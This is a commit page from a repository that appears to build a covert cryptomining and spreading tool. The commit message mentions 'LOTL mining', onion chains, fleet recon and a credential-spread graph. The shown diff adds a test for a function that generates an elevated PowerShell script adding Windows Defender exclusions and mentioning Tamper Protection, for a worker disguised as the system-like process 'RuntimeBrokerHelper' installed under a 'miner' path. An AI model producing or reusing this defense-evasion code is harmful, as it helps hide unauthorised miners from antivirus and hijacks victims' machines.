Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
26
server/web/src/help/defenderExclusion.test.ts
Normal file
26
server/web/src/help/defenderExclusion.test.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
|
||||
|
||||
describe('defenderExclusion', () => {
|
||||
it('builds elevated PowerShell with path and process exclusions', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: "C:\\ProgramData\\AetherForge\\worker",
|
||||
processName: 'RuntimeBrokerHelper',
|
||||
});
|
||||
expect(script).toContain('Add-MpPreference -ExclusionPath');
|
||||
expect(script).toContain('RuntimeBrokerHelper.exe');
|
||||
expect(script).toContain('Tamper Protection');
|
||||
});
|
||||
|
||||
it('escapes single quotes in paths', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: "C:\\O'Brien\\miner",
|
||||
processName: 'worker',
|
||||
});
|
||||
expect(script).toContain("C:\\O''Brien\\miner");
|
||||
});
|
||||
|
||||
it('provides default install preview', () => {
|
||||
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user